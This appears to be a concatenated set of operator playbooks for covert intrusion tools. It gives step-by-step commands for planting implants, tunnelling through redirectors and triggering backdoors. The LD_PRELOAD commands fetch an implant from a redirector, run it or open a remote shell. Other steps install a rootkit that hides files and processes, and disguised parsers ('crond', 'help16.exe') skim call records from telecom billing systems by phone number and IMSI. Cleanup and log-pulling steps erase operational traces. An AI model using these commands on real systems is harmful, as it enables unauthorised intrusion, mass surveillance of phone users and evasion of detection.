-latr cdr*txt* + +###### +###### If you need to stop the parser before it completes: +### Control-C the nopen window containing the parser command +### ps -ef |grep nscd +### if the parser command is still "running", then kill the process: +### kill -9 +### You'll still be able to decrypt the partially completed data pull + +###### +###### copy DECRYPTED data to media +###### +ls -l cdr*txt* +mz +cp cdr*txt* /mnt/zip*/PROJECTNAME +ls -l /mnt/zip*/PROJECTNAME +uz + + +##### +##### clean up +##### +-rm nscd awk +-lt +-cd /tmp +-rm .scsi +-lt + +w +ps -ef | sort +-lt / + +-burnBURN + +### +### END File user.tool.orleansstride.COMMON +### (see also ../etc/user.tool.orleansstride.COMMON) + +### +### BEGIN File user.tool.skimcountry.COMMON (see also ../etc/user.tool.skimcountry.COMMON) +### + +################ SKIMCOUNTRY ######################### +############### PARSING ################################################################### + + +### vi Search/Replace commands ### +### ProjectName - self explanatory +### Date field - today's date, used for output files +### Host - hostname of the box (not IP address) +### Cryptkey - encryption key (use output from below md5sum command) + +md5sum /current/down/tcpdump.raw + +mx +:%s/PROJECTNAME/PROJECTNAME/g +:%s/DDMonYY/DDMonYY/g +:%s/HOST/HOST/g +:%s/CRYPTKEY/CRYPTKEY/g +'x + +### Save the encryption key locally: + +echo CRYPTKEY > /current/down/cryptkey.skimcountry.DDMonYY + +####### Prepare files containing numbers to search for: + +# if files containing the numbers to search available: +mkdir /current/down/argfiles +cd /current/down/argfiles +mz +cp /mnt/zip*/arg* /current/down/argfiles + #or +cp /mnt/zip*/PROJECTNAME/arg* /current/down/argfiles + +ls -altr + +### Prep the argfiles: +### make sure the files are ASCII and contain NO EMPTY LINES!! +### make sure the last line does not contain a null character at the end +### (vi the file, add a carriage return to the last line, then delete the empty +### line and save) +### "file" results: +### This will not work: ASCII text, with CRLF line terminators +### This WILL: ASCII text +cat arg* +file arg* +dos2unix arg* +file arg* + +# if no data media is provided: +# locally, create a file of numbers to grep for with each number on a separate line +# make sure there are NO EMPTY LINES!!!! +# Format of each type of argument: +# p123456789 - phone number +# s123456789 - IMSI +# e123456789 - IMEI +# c123/456 - Cell/LAC (no leading 0's) + +cd /current/down/argfiles +vi /current/down/argfiles/argfile1.txt + +########## To look at CDR directories try the following: + +### Use the following commands to determine the location of current +### CDR data storage; Once you identify the location of the data, you'll +### use the head/tail commands to determine the date ranges being saved. +### These date ranges will be used as args in the skimcountry commands. + + +### Typical file locations per project: + +########################## wrathhatch: +# HOST 172.16.1.36 + +# active directories: +-lt /var/archive/output_billing + +# this script should point to the backup directory location: +-vget /var/archive/output_billing/MoveData.sh + +# backup directories: +-lt /u01/oradata/output_billing/ +-lt /u01/oradata/output_billing/0-9AugData/output_billing +-lt /u01/oradata/output_billing/AugData/output_billing + + + +# get time ranges of active directories: +ls -latr /var/archive/output_billing/isb/*ama | head -10 +ls -latr /var/archive/output_billing/isb/*ama | tail -10 + +ls -latr /var/archive/output_billing/isb2/*ama | head -10 +ls -latr /var/archive/output_billing/isb2/*ama | tail -10 + +ls -latr /var/archive/output_billing/isb/*ama | wc -l + +ls -latr /var/archive/output_billing/fsd1/*ama | head -10 +ls -latr /var/archive/output_billing/fsd1/*ama | tail -10 + +ls -latr /var/archive/output_billing/fsd2/*ama | head -10 +ls -latr /var/archive/output_billing/fsd2/*ama | tail -10 + +ls -latr /var/archive/output_billing/fsd3/*ama | head -10 +ls -latr /var/archive/output_billing/fsd3/*ama | tail -10 + +ls -latr /var/archive/output_billing/fsd4/*ama | head -10 +ls -latr /var/archive/output_billing/fsd4/*ama | tail -10 + + +### to pull a complete directory listing to the ops box: +ls -latr /var/archive/output_billing/isb >L:/current/down/list_isb + + +########################## SKIMCOUNTRY ######################################################## +############################################################################################### + + + +### Now, encrypt the ascii list locally... first make sure you have the encryption tool: +cd /current/down/argfiles +which cryptTool.v1.0.Linux2.4.18-14.targetdl + +### If cryptTool not in PATH, change your PATH or insert full path in command + +### to encrypt one at a time...skip to next comment to encrypt all at once: +cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile1.txt -o argfile1.enc -k CRYPTKEY -b +cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile2.txt -o argfile2.enc -k CRYPTKEY -b + +file argfile*.enc + +### to encrypt all at the same time: +for i in argfile* ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o `basename $i .txt`.enc -k CRYPTKEY -b ; done + +ls -l +file argfile*.enc + + + +### Tips for running the SKIMCOUNTRY 3.2 + +### DO NOT _APPEND_ to the local file if using encryption - (no >>L: or >>T: )!!!! +### per each argfile, create .enc1, .enc1.more, .enc1.more2, etc if additional +### passes are needed for the date range +### DO NOT use -o if also using >L: or >T: (mixed output corrupts the decryption) +### The phone list is deleted automatically now + + +### Useful options: +-k encryption key +-o print filenames being parsed +-P encrypted phone list +-p plaintxt phone list +-r DO NOT remove phone list after reading in +-z unix list of files to parse +-w do not encypt the output list (not recommended since file is created on target) + + +### Suggested -z options: +### this looks in subdirs, so use caution in backup dir (can be good AND bad): +### Also circumvents "parameter list too long" problem with wildcards with 'ls' + -z "find /share/a1338/ne_q3ic/nb/convert/output -name '0506132*dF*' -print" + +### works, but only for smaller ranges (command line arglist gets long) + -z "ls -1rt /share/a1338/ne_q3ic/nb/convert/output/05110[3-6]*dF*" + + +##### NOTE: MUST CORRELATE NUMBERS IN ENCRYPTED TASKING FILENAMES (i.e. argfile1.enc) +##### TO OUTPUT FILENAMES (cdrhits*.enc1, cdrhits*.enc1.more, cdrhits*.enc1.more2, etc.) + +##### NOTE2: GO FROM MOST RECENT TIME TO (PROBABLY CURRENT DATE) AS FAR BACK AS TIME ALLOWS + + +### benchmarking: +# phonelist had 44 numbers +# 3 day pull took 38 minutes over ALL directories +# 1 day average pull took 10-13 minutes + +### file name extensions: +# GCDR = Nor +# usd = Sie + + + +######## Upload the parser (SKIMCOUNTRY) and called it crond +# put up the parser tool + +mkdir /tmp/.scsi +-cd /tmp/.scsi + +-put /current/up/skimcountry.v1.2.SunOS5.9.targetdl crond + + # or + +-put /mnt/zip*/skimcountry.v1.2.SunOS5.9.targetdl crond + + +##### Upload the encrypted phone list as adm, then run the parser: + +############ argfile 1 + +-put /current/down/argfiles/argfile1.enc adm +./crond -k CRYPTKEY -P adm -z "find /var/archive/output_billing -name 'MSC*06082[2-4]*ama' -print" >T:/current/down/cdrhits.skimcountry.HOST.DDMonYY.enc1 +-beep 15 + +### Run again if needed for same tasking + +-put /current/down/argfiles/argfile1.enc adm +./crond -k CRYPTKEY -P adm -z "find /var/archive/output_billing -name 'MSC*06082[0-1]*ama' -print" >T:/current/down/cdrhits.skimcountry.HOST.DDMonYY.enc1.more +-beep 15 + + + +############ argfile 2 + +-put /current/down/argfiles/argfile2.enc adm +./crond -k CRYPTKEY -P adm -z "find /var/archive/output_billing -name 'MSC*06082[2-4]*ama' -print" >T:/current/down/cdrhits.skimcountry.HOST.DDMonYY.enc2 +-beep 15 + +-put /current/down/argfiles/argfile2.enc adm +./crond -k CRYPTKEY -P adm -z "find /var/archive/output_billing -name 'MSC*06082[0-1]*ama' -print" >T:/current/down/cdrhits.skimcountry.HOST.DDMonYY.enc2.more +-beep 15 + + + +###### +###### to parse other vendor files: +###### + +#./crond -k CRYPTKEY -P adm -z "ls -1rt /var/archive/output_billing/*/MSC*20060629*usd*ama" > .mcftpl38755 + + +###### +##### when it's done running, decrypt the file (-d -c options) +###### + + +cd /current/down +ls -latr cdr*enc* + +# to decrypt individually: + +cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.skimcountry.HOST.DDMonYY.enc1 -o cdrhits.skimcountry.HOST.DDMonYY.txt1 -k CRYPTKEY -d -c + +cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.skimcountry.HOST.DDMonYY.enc2 -o cdrhits.skimcountry.HOST.DDMonYY.txt2 -k CRYPTKEY -d -c + + +# or decrypt all at one time (once all are written fully) + +cd /current/down +for i in cdrhits*enc* ; do n="`echo $i | sed \"s,enc,txt,g\"`" ; cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o $n -k CRYPTKEY -d -c ; done + +ls -latr cdr*txt* + +###### +###### If you need to stop the parser before it completes: +### Control-C the nopen window containing the parser command +### ps -ef |grep crond +### if the parser command is still "running", then kill the process: +### kill -9 +### You'll still be able to decrypt the partially completed data pull + + + +###### + + +#### target cleanup + +-rm adm crond +-cd /tmp +-rm .scsi +-burnBURN + +### You're done! + +### +### END File user.tool.skimcountry.COMMON +### (see also ../etc/user.tool.skimcountry.COMMON) + +### +### BEGIN File user.tool.dairyfarm.COMMON (see also ../etc/user.tool.dairyfarm.COMMON) +### + +################################################################### +### DAIRYFARM +################################################################### + + +DAIRYFARM procedures: + + +mx +:%s/TARGET_IP/TARGET_IP/g +:%s/WINDOWS_REDIR_IP/WINDOWS_REDIR_IP/g +:%s/LINUX_OP_BOX_IP/192.168.254.71/g +:%s/WINDOWS_OP_BOX_IP/192.168.254.72/g +:%s/CONTROL_PORT/CONTROL_PORT/g +:%s/XSERVER_PORT/XSERVER_PORT/g +:%s/NETCAT_PORT/NETCAT_PORT/g +:%s/NOPEN_PORT/NOPEN_PORT/g +:%s/RAT_NAME/sendmail/g +:%s,TMP_DIR,/tmp/.scsi,g +`x + +### Follow steps in this order: + + +### 1) on linux box, start dairyfarm client: + +#./df_client 35535 127.0.0.1:40211 +#./df_client CONTROL-PORT 127.0.0.1:XSERVER-PORT +./df_client CONTROL_PORT 127.0.0.1:XSERVER_PORT + +### 2) on windows redir, set up tunnels: + +### the next line replaces the normal tunnel to call back to the xserver port +### and references the df control port instead +#background redirect -tcp -implantlisten 35535 -target 192.168.254.131 35535 -nodes 40 +#background redirect -tcp -implantlisten CONTROL-PORT -target LINUX-OP-BOX CONTROL-PORT -nodes 40 +background redirect -tcp -implantlisten CONTROL_PORT -target LINUX_OP_BOX_IP CONTROL_PORT -nodes 40 + +### to udp 177 +#background redirect -udp -lplisten 177 -target 61.555.227.115 177 -maxpacketsize 32000 +#background redirect -udp -lplisten 177 -target TARGET-IP 177 -maxpacketsize 32000 +background redirect -udp -lplisten 177 -target TARGET_IP 177 -maxpacketsize 32000 + +### callback for netcat upload +#background redirect -tcp -implantlisten 33881 -target 192.168.254.131 33881 -nodes 40 +#background redirect -tcp -implantlisten NETCAT-PORT -target LINUX-OPS-BOX NETCAT-PORT -nodes 40 +background redirect -tcp -implantlisten NETCAT_PORT -target LINUX_OP_BOX_IP NETCAT_PORT -nodes 40 + +### callforward to nopen +#background redirect -tcp -lplisten 32754 -target 61.555.227.115 32754 +#background redirect -tcp -lplisten NOPEN-PORT -target UNIX-TARGET-IP NOPEN-PORT +background redirect -tcp -lplisten NOPEN_PORT -target TARGET_IP NOPEN_PORT -bind WINDOWS_OP_BOX_IP + + +### 3) on windows redir, upload dairyfarm.exe as something obscure (help16.exe) and start: + +#background run -command "help16.exe 40211 127.0.0.1:35535" +#background run -command "help16.exe XSERVER-PORT 127.0.0.1:CONTROL-PORT" +background run -command "help16.exe XSERVER_PORT 127.0.0.1:CONTROL_PORT" + + +### 4) on linux, set up to launch YS, using appropriate wrap script: + +cd /current/up +file noserver +# cp appropriate noserver from morerats to /current/up +# Need to noprep it? Different listener port (default is 32754) +#noprep noserver -lNOPEN_PORT +noprep noserver -lNOPEN_PORT +#packrat -n /current/bin/nc.YS sendmail noserver.new 33881 +#packrat -n /current/bin/nc.YS RAT_NAME noserver.new NETCAT-PORT +packrat -n /current/bin/nc.YS RAT_NAME noserver.new NETCAT_PORT + +#./wrap-aix.sh -l 61.555.227.110 -r sendmail -p 33881 -x 40211 -d /tmp/.scsi +#./wrap-hpux.sh -l 61.555.227.110 -r sendmail -p 33881 -x 40211 -d /tmp/.scsi +#./wrap-sun.sh -l WIN-TARGET-IP -r RAT_NAME -p NETCAT-PORT -x XSERVER-PORT -d TMP_DIR +./wrap-sun.sh -l WINDOWS_REDIR_IP -r RAT_NAME -p NETCAT_PORT -x XSERVER_PORT -d TMP_DIR + +#./xc -x 61.555.227.110 -y 40211 -s 61.555.227.110 192.168.254.72 +#./xc -x WIN-TARGET-IP -y XSERVER-PORT -s WIN-TARGET-IP WINDOWS-OP-BOX +./xc -x WINDOWS_REDIR_IP -y XSERVER_PORT -s WINDOWS_REDIR_IP WINDOWS_OP_BOX_IP + + +### 5) connect to nopen AFTER you control-c the netcat window: + +#noclient 192.168.254.72:32754 +noclient WINDOWS_OP_BOX_IP:NOPEN_PORT + +### 6) on linux, control-C the df_client window + +### 7) on windows, the dairyfarm.exe (renamed as help16.exe or whatever) should +### go away from the process listing; You can now remove it from the target. + + +### +### END File user.tool.dairyfarm.COMMON +### (see also ../etc/user.tool.dairyfarm.COMMON) + +### +### BEGIN File user.tool.trigger_hpux_jl_in.COMMON (see also ../etc/user.tool.trigger_hpux_jl_in.COMMON) +### + +############################################################### +# TRIGGERING HPUX INCISION via JACKLADDER and JACKLADDERHELPER +############################################################### + +### BACKGROUND: + +### HP-INCISION provides process and file hiding. It does NOT provide +### connection hiding nor does it have a triggering capability in this +### version (1.1.2.1 for HPUX11.00) + +### HP-JACKLADDER differs from other JACKLADDERs because it requires the use +### of special source ports for triggering. The purpose of the special source +### ports is two-fold: it plays a part in the authentication process for the +### trigger, and it causes the 'accept' call to wait an extra 5 seconds for +### input, thus allowing it to work via most redirection (as long as the +### roundtrip time between the redirector and the target is less than 5 +### seconds.) + +### JACKLADDERHELPER is an "instant-grat" version listening on an extra port. +### It only listens until the target reboots. +### On HPUX, it is typically installed on port 7162 running as 'memlogd'. + +### JACKLADDER will take over once the target reboots. Depending on how it +### was installed, it will listen on ports started by inetd (check +### /etc/inetd.conf) or on the sendmail port. + +### The HP-JACKLADDER and HP-JACKLADDERHELPER special source ports are: +### 3, 51, 8213, 12634, 16798, 23247 + + +HP-TARGET-IP self-explanatory +HP-JL-SOURCE-PORT 3, 51, 8213, 12634, 16798, or 23247 +JL-LISTEN-PORT before target reboots - double-check but probably 7162; + after target reboots - double-check, but probably try (13, + 21, 23, 37, 113) +NETCAT-PORT random for uploading nopen +LINUX-OP-BOX local Linux machine (probably 192.168.254.71) +WIN-OP-BOX local Windows machine (probably 192.168.254.72) +UNIX-REDIR-IP IP that target will call back to +WIN-REDIR-IP IP that target will call back to +NOPEN_DIR directory to upload nopen to (/tmp/.scsi usually) + (WILL NEED TO ESCAPE SLASHES) +NOPEN_NAME name of nopen on target +NOPEN_PORT port to run nopen on + +mx +:%s/HP_TARGET_IP/HP_TARGET_IP/g +:%s/HP_JL_SOURCE_PORT/HP_JL_SOURCE_PORT/g +:%s/JL_LISTEN_PORT/JL_LISTEN_PORT/g +:%s/NETCAT_PORT/NETCAT_PORT/g +:%s/LINUX_OP_BOX/LINUX_OP_BOX/g +:%s/WIN_OP_BOX/WIN_OP_BOX/g +:%s/UNIX_REDIR_IP/UNIX_REDIR_IP/g +:%s/WIN_REDIR_IP/WIN_REDIR_IP/g +:%s/NOPEN_DIR/NOPEN_DIR/g +:%s/NOPEN_NAME/NOPEN_NAME/g +:%s/NOPEN_PORT/NOPEN_PORT/g +'x + + +######################################################### +### TO CONNECT TO JACKLADDER* thru solaris box: +######################################################### + +### Verify the JACKLADDERHELPER port is still listening +### If the port doesn't respond, the target may have rebooted or JACKLADDER_HELPER died +### "Connection refused" means that the port isn't listening +### Otherwise scan for ports that should be started by inetd +### jackladderhelper port is probably 7162 + +-scan JL_LISTEN_PORT TARGET_IP + +### On Solaris redirector: + +-jackpop HP_TARGET_IP JL_LISTEN_PORT UNIX_REDIR_IP HP_JL_SOURCE_PORT + +Your Choice[1] 1 +UTC offset? [0] +Which port will we be uploading nopen on? [44841] NETCAT_PORT +Which port would you like nopen to listen on? [48970] NOPEN_PORT +Nopen to upload[] CORRECT_NOSERVER_FROM_MORERATS +Which directory would you like to create[/tmp/.dskman] NOPEN_DIR +What would you like nopen called on target [podd] NOPEN_NAME +Do you want incision to bless the nopen server? [Yn] Y + +Continue? [Yn] Y + +### after the upload completes: +### close both jackpop windows, +### type DONE in -jackpop window + +### connect using the -nstun command given by the -jackpop window + +############ GO TO WEARCUP SECTION NOW IF SUCCESSFUL ######### + +######## TROUBLESHOOTING ONLY - avoid syntax errors with commands being executed on target!: + +### Test JL from redirector: +### special source ports: 3, 51, 8213, 12634, 16798, 23247 +### Probably need to redirect output (2>&0 1>&0 as below) for every +### command run + +-jackpop HP_TARGET_IP JL_LISTEN_PORT UNIX_REDIR_IP HP_JL_SOURCE_PORT + +3 +0 +Y +date 2>&0 1>&0 +DONE + +############################################################## +### TO CONNECT TO HP-UX JACKLADDER* thru non-Solaris Unix box: +############################################################## + +### Window 1 on Unix redirector: +-tunnel +l JL_LISTEN_PORT HP_TARGET_IP JL_LISTEN_PORT HP_JL_SOURCE_PORT +r NETCAT_PORT + +### Window 2 on Unix redirector: +# If nopen calling back: +-nrtun NOPEN_PORT + +# If calling into nopen, don't run this until you run window 4 cmd +# and nopen appears to be successfully uploaded +-nstun HP_TARGET_IP:NOPEN_PORT + +### Window 3 local +packrat NOPEN_NAME CORRECT_NOSERVER_IN_MORERATS NETCAT_PORT + +### Window 4 local and scripted +# If calling forward into nopen: +LD_PRELOAD=/current/bin/connect.so CMD="mkdir NOPEN_DIR; cd NOPEN_DIR; telnet UNIX_REDIR_IP NETCAT_PORT NOPEN_NAME.uu; uudecode NOPEN_NAME.uu ; uncompress -f NOPEN_NAME.Z; chmod 700 NOPEN_NAME; export PATH=.; export D=-lNOPEN_PORT; NOPEN_NAME" RA=UNIX_REDIR_IP RP=HP_JL_SOURCE_PORT HIDEME= nc 127.0.0.1 JL_LISTEN_PORT + +# If nopen is calling back: +LD_PRELOAD=/current/bin/connect.so CMD="mkdir NOPEN_DIR; cd NOPEN_DIR; telnet UNIX_REDIR_IP NETCAT_PORT NOPEN_NAME.uu; uudecode NOPEN_NAME.uu ; uncompress -f NOPEN_NAME.Z; chmod 700 NOPEN_NAME; export PATH=.; export D=-cUNIX_REDIR_IP:NOPEN_PORT; export S=30; NOPEN_NAME" RA=UNIX_REDIR_IP RP=HP_JL_SOURCE_PORT HIDEME= nc 127.0.0.1 JL_LISTEN_PORT + +### TROUBLESHOOTING: CMD can be changed to be any string of shell commands. +### If output from any command in the string desired, you may have to append +### the string "2>&0 1>&0" to each command +### i.e. "ls -la /tmp 2>&0 1>&0; uname -a 2>&0 1>&0" +### +### NOTE: you cannot remove or overwrite a running binary on HP-UX, so if +### you are trying to overwrite something during troubleshooting, this may +### be why + + +######################################################### +### TO CONNECT TO JACKLADDER* thru windows box: +######################################################### + +### from windows target, scan JACKLADDERHELPER to see if it's still listening: +banner -ip HP_TARGET_IP -port JL_LISTEN_PORT + +### windows tunnels: +### ---------------- +# Examples to connect, connect back to packrat window to upload nopen, and -nstun to target: + +### connect to JACKLADDER* +### background redirect -tcp -lplisten JL-LISTEN-PORT -target HP-TARGET-IP JL-LISTEN-PORT HP-JL-SOURCE-PORT -bind WIN-OP-BOX +### background redirect -tcp -lplisten 7162 -target 10.27.50.41 7162 12634 -bind 192.168.254.72 +background redirect -tcp -lplisten JL_LISTEN_PORT -target HP_TARGET_IP JL_LISTEN_PORT HP_JL_SOURCE_PORT -bind WIN_OP_BOX + + +### callback to PACKRAT window +### background redirect -tcp -implantlisten NETCAT-PORT -target LINUX-OP-BOX NETCAT-PORT +### background redirect -tcp -implantlisten 39778 -target 192.168.254.71 39778 +background redirect -tcp -implantlisten NETCAT_PORT -target LINUX_OP_BOX NETCAT_PORT + + +### call forward to NOPEN PORT (default listen port = 32754) +### background redirect -tcp -lplisten 32754 -target HP-TARGET-IP 32754 -bind WIN-OP-BOX +### background redirect -tcp -lplisten 32754 -target 10.27.50.41 32754 -bind 192.168.254.72 +background redirect -tcp -lplisten NOPEN_PORT -target HP_TARGET_IP NOPEN_PORT -bind WIN_OP_BOX + + +### additional nopen windows (increment the lplisten port only): +### background redirect -tcp -lplisten 32755 -target HP-TARGET-IP 32754 -bind WIN-OP-BOX +### background redirect -tcp -lplisten 32755 -target 10.27.50.41 32754 -bind 192.168.254.72 +background redirect -tcp -lplisten ANOTHER_PORT -target HP_TARGET_IP NOPEN_PORT -bind WIN_OP_BOX +background redirect -tcp -lplisten ANOTHER_ANOTHER_PORT -target HP_TARGET_IP NOPEN_PORT -bind WIN_OP_BOX + +### local linux: +### ----------- + +# RA = redirector address +# RP = redirector source port + +# In local window +packrat NOPEN_NAME CORRECT_NOSERVER_IN_MORERATS NETCAT_PORT + +### in a local scripted window: +LD_PRELOAD=/current/bin/connect.so CMD="mkdir NOPEN_DIR; cd NOPEN_DIR; telnet WIN_REDIR_IP NETCAT_PORT NOPEN_NAME.uu; uudecode NOPEN_NAME.uu ; uncompress -f NOPEN_NAME.Z; chmod 700 NOPEN_NAME; export PATH=.; export D=-lNOPEN_PORT; nscd" RA=WIN_REDIR_IP RP=HP_JL_SOURCE_PORT HIDEME= nc WIN_OP_BOX JL_LISTEN_PORT + +### once the target uploads nopen, the LD_PRELOAD window should give you a prompt back; +### you can then connect to nopen: +noclient WIN_OP_BOX:NOPEN_PORT +noclient WIN_OP_BOX:ANOTHER_PORT +noclient WIN_OP_BOX:ANOTHER_ANOTHER_PORT + +######## TROUBLESHOOTING ONLY - avoid syntax errors with commands being executed on target!: + +### to run a command on target (do not string together multiple commands): +### LD_PRELOAD=./connect.so.RHEL4 CMD="uname -a" RA=WIN-REDIR-IP RP=HP-JL-SOURCE-PORT telnet WIN-OP-BOX JL-LISTEN-PORT +### LD_PRELOAD=./connect.so.RHEL4 CMD="uname -a" RA=10.27.50.50 RP=HP-JL-SOURCE-PORT telnet 192.168.254.72 7162 + +LD_PRELOAD=/current/bin/connect.so CMD="uname -a" RA=WIN_REDIR_IP RP=HP_JL_SOURCE_PORT nc WIN_OP_BOX JL_LISTEN_PORT + +### to create a file on target: +### LD_PRELOAD=./connect.so.RHEL4 CMD="touch /tmp/.scsi/x " RA=WIN-REDIR-IP RP=HP-JL-SOURCE-PORT telnet WIN-OP-BOX JL-LISTEN-PORT +### LD_PRELOAD=./connect.so.RHEL4 CMD="touch /tmp/.scsi/x" RA=10.27.50.50 RP=HP-JL-SOURCE-PORT telnet 192.168.254.72 7162 + +LD_PRELOAD=/current/bin/connect.so CMD="touch /tmp/.scsi/x" RA=WIN_REDIR_IP RP=HP_JL_SOURCE_PORT nc WIN_OP_BOX JL_LISTEN_PORT + +### to get an interactive window: +### LD_PRELOAD=./connect.so.RHEL4 CMD="/bin/sh 2>&0 1>&0" RA=WIN-REDIR-IP RP=HP-JL-SOURCE-PORT nc WIN-OP-BOX JL-LISTEN-PORT +### LD_PRELOAD=./connect.so.RHEL4 CMD="/bin/sh 2>&0 1>&0" RA=10.27.50.50 RP=HP-JL-SOURCE-PORT nc 192.168.254.72 7162 + +LD_PRELOAD=./connect.so.RHEL4 CMD="/bin/sh 2>&0 1>&0" RA=WIN_REDIR_IP RP=HP_JL_SOURCE_PORT nc WIN_OP_BOX JL_LISTEN_PORT + + + +######################################################### +# Running WEARCUP and NOT using -burn +######################################################### + +### Once connected, you will be in your temporary directory and will need +### to clean it up. However, HPUX systems will not allow you to delete an +### executable if it's running, nor the directory it's running in. To +### circumvent this, use 'cup' (CleanUp) + +-lt +-rm nscd.uu +-gs wearcup -h + +# change the options for what you want to call cup and how long you want cup +# to sleep before it kills nopen and cleans your working directory, +# then run it + +-gs wearcup -r snmpd -w 4h + +# when it is time to end the op, kill the "sleep" pid to start immediate cleanup +# to extend the op, kill the pid of the script (now called snmpd) then kill the sleep + +# DO NOT -burnBURN !!!!!! +# use -exit for your windows!!!!! + + + +######################################################### +### HP-INCISION technique checks +######################################################### + + +### Check if JACKLADDERHELPER is still running: +ps -ef |grep memlogd + +### Verify the hidden directory is visible from your hidden process: + +-lt /lost+found/3d9892354a360245add0f483f269f384 + +### Verify the hidden directory is no longer visible when you're in /dev: + +cd /dev; ls -la /lost+found/3d9892354a360245add0f483f269f384 + +### system kernel checks: + +### get system configuration value for CPU_VERSION; should return 532 + +/usr/bin/getconf SC_CPU_VERSION + +### get system configuration value for KERNEL_BITS; should return 64 + +/usr/bin/getconf SC_KERNEL_BITS + +### get the status of any kernel modules that are currently loaded +### if under INCISION, should see krm and krm64 + +kmadmin -s + +### check reboot history + +last -15 reboot + +### check and pull logs + +-lt /var/adm/syslog/syslog* +-get /var/adm/syslog/syslog* + +-lt /etc/rc.log* +-get /etc/rc.log* + +-lt /var/adm/crash + +-lt /*history +-lt /root/*history +-vget /*history /root/*history + +######################################################### + +### +### END File user.tool.trigger_hpux_jl_in.COMMON +### (see also ../etc/user.tool.trigger_hpux_jl_in.COMMON) + +### +### BEGIN File user.tool.stoicsurgeon.COMMON (see also ../etc/user.tool.stoicsurgeon.COMMON) +### + +##### Stoicsurgeon Ctrl Usage, Installation and Troubleshooting Script ##### + +### WARNING! READ THIS! WARNING! READ THIS! WARNING! READ THIS! WARNING! ### +# +# NEVER explicitly reference any cloaked file or directory from an unprivileged +# process. Wildcards are ok, but explicit references are not. Stoic will +# self-destruct if an explicit reference to a cloaked file ever occurs from an +# unprivileged process. This includes the cloaked directory, any files inside +# the cloaked directory, any files/directories hidden after installation using +# Ctrl, the /proc entry of cloaked processes, etc. +# +# Examples: +# Assume /lib/.0123456789abcdef is a cloaked file or directory +# -lt /lib/.0123456789abcdef ##### BAD BAD BAD BAD BAD ##### +# -lt /lib/.012* ##### GOOD, WILL NOT SEE OUTPUT FOR CLOAKED DIR, +# ##### WILL NOT SELF-DESTRUCT +# +# Assume 12345 is a cloaked process +# -lt /proc/12345/exe ##### BAD BAD BAD BAD BAD ##### +# -lt /proc/*/exe ##### GOOD, WILL NOT SEE OUTPUT FOR 12345 +# ##### WILL NOT SELF-DESTRUCT +# +# The cloaked directory will be in one of the following directories: +# (the first one of these directories that exists and is on the same disk +# partition as the root of the filesystem "/", see output from "df" or +# "mount" commands) +# -lt /var/tmp +# -lt /lib +# -lt /dev +# -lt /etc +# -lt / +# +# Refer to what the `pwd` from triggering Dewdrop returned if possible +# +### END WARNING END WARNING END WARNING END WARNING END WARNING END WARNING ### + + +########## Global Search/Replace commands ########## +## Target IP: IP address of newly deployed STOIC +## Target hostname: output from running "uname -n" on target +## Callback port: port for DD to call back to connect to ish (usually random) +## Redirector IP: IP for DD to call back to connect to ish + +### Target hostname MUST be output from "uname -n" on TARGET!!!!!!!!!! ### + +uname -n + +mx +:%s/TARGET_IP/TARGET_IP/g +:%s/TARGET_HOSTNAME/TARGET_HOSTNAME/g +:%s/CALLBACK_PORT/CALLBACK_PORT/g +:%s/REDIRECTOR_IP/REDIRECTOR_IP/g +'x + + + +############################################################################ +##### INSTALLATION ##### +############################################################################ + +## First, make sure no other implants are installed, i.e. the family +# If Solaris +-strings /platform + + +## For Solaris, confirm can install against this kernel level +# Version number format: MAJORVERSION_MINORVERSION +# Valid patchlevels under "Kernel version": major version < 118833 +# if = 118833, minor version <= 24 +# Solaris 7 Sparc: major version < 106541 +# major version == 106541, minor version <= 44 +# Solaris 8 Sparc: major version < 117350 +# major version == 117350, minor version <= 47 +# Solaris 8 x86: major version < 108529 +# major version == 108529, minor version <= 27 +# Solaris 9 Sparc: major version < 122300 +# major version == 122300, minor version <= 11 +# Solaris 9 x86: major version < 118559 +# major version == 118559, minor version <= 39 +# Solaris 10 Sparc: major version < 125100 +# major version == 125100, minor version <= 07 +# +showrev -a + +# If higher than these, DO NOT INSTALL and report this +-problem untested solaris patch level MAJORVERSION_MINORVERSION + +## If installing on Linux, compare /proc/version with version being deployed +## Also compare hashes of installed kernels for another sanity check +-cat /proc/version +md5sum /boot/vmlinuz* + +## upload STOICSURGEON Installation Package +-put /current/up/date date + +## run STOICSURGEON Installation Package +PATH=. date + +## Take note of the Date that is displayed, "00" in the seconds field means SUCCESS +## If the Seconds field does not show "00" take note of the entire date provided and +## save data via notes or "-problem". A listing of possible values is located at the +## end of this script in the APPENDIX section. + +-problem stoicsurgeon failed install, the date string was OUTPUT_FROM_DATE + +## :30 error? On solaris 10, you get this if the kmdb module is loaded. +## Temporary workaround (as of 30 OCT 2007) is to remove it. + +modinfo | grep kmdb + +## Remove kmdb (NOT kmdbmod), the NUM here is the first column + +## modunload -i NUM +modinfo | grep kmdb + +## Then try again +-put /current/up/date date +PATH=. date + + +################################################### +### Trigger Dewdrop and verify SS is working ###### +################################################### + +### Below are commands to trigger DD without upload/execute, there +### will be no Nopen session, will have a prompt in the "ish" shell +### Possibility exists will have to play with options to ourtn/-irtun +### to trigger on certain ports, etc. + +### Try THIS first (if redirecting from Nopen) +-irtun TARGET_IP CALLBACK_PORT -Y5 + +### or (if going direct) +ourtn -Y5 -p CALLBACK_PORT TARGET_IP + +### for Dewdrop-3.X +tipoff-3.X --trigger-address TARGET_IP --target-address TARGET_IP --target-protocol --target-port TARGET_PORT --callback-address CALLBACK_IP --callback-port CALLBACK_PORT --start-ish + +### look for output from "pwd" run after target calls back, the resulting +### directory is the SS hidden directory + +## In Dewdrop window get the pid of DD connection to ish shell +echo $$ + +## set DD PID in the rest of the script +mx +:%s/DEWDROP_PID/DEWDROP_PID/g +`x + +## In un-elevated Nopen window, verify Dewdrop connection and processes are cloaked +ps -ef | grep DEWDROP_PID +netstat -an | grep CALLBACK_PORT + +## the hidden directory will be somewhere on the root filesystem, +## you can now do a directory listing of the hidden directory's parent +## in the un-elevated Nopen window to determine that it is indeed hidden +## (i.e. do "-ls /var/tmp" if hidden dir is "/var/tmp/.0123456789abcdef") +## +## REMINDER: DO NOT EXPLICITLY NAME HIDDEN FILES/DIRS FROM AN UNPRIVILEGED +## WINDOW (see top of script for more detailed explanation) +-ls /var/tmp +-ls /lib +-ls /dev +-ls /etc +-ls / + +## Report any cloaking failures via notes or "-problem" + +####################################################################### 